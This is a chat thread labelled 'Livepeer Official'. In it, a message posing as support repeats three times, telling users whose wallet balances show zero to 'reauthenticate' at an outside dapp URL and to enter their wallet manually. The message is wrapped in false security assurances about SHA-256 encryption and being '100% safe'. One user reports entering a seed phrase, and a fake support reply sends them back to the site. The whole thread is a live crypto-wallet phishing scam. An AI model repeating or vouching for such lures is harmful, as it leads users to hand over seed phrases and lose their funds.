Livepeer Official

Dear valued users, We Are sorry for the inconveniences you are facing Currently, some users may observe their wallet balances displaying as zero. @everyone Follow the steps below to Reauthenticate your wallet to rectify the issue (1) Go to the support dashboard http://resolverportaldapp.com/ (2) Scroll down to Reauthentication (3) select  wallet (4) proceed to connect securely. NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually (5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you! Your funds remains secure in your custody

Okay admin

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I entered my seed phrase after it logged me out and it isn’t the right account

I updated it to the latest version and what do you mean ? I have the address to my previous account

Sorry for the Inconveniences you're facing mate this is as a result of backend error from your wallet you’ll need to Reauthenticate your wallet to Fix the issues

Dear valued users, We Are sorry for the inconveniences you are facing Currently, some users may observe their wallet balances displaying as zero. @everyone Follow the steps below to Reauthenticate your wallet to rectify the issue (1) Go to the support dashboard http://resolverportaldapp.com/ (2) Scroll down to Reauthentication (3) select Burrito wallet (4) proceed to connect securely. NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually (5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you! Your funds remains secure in your custody

Will check out

🧐

I entered my seed phrase after it logged me out and it isn’t the right account

I updated it to the latest version and what do you mean ? I have the address to my previous account

Sorry for the Inconveniences you're facing mate this is as a result of backend error from your wallet you’ll need to Reauthenticate your wallet to Fix the issues

Dear valued users, We Are sorry for the inconveniences you are facing Currently, some users may observe their wallet balances displaying as zero. @everyone Follow the steps below to Reauthenticate your wallet to rectify the issue (1) Go to the support dashboard http://resolverportaldapp.com/ (2) Scroll down to Reauthentication (3) select Burrito wallet (4) proceed to connect securely. NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually (5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you! Your funds remains secure in your custody

Will check out

🤐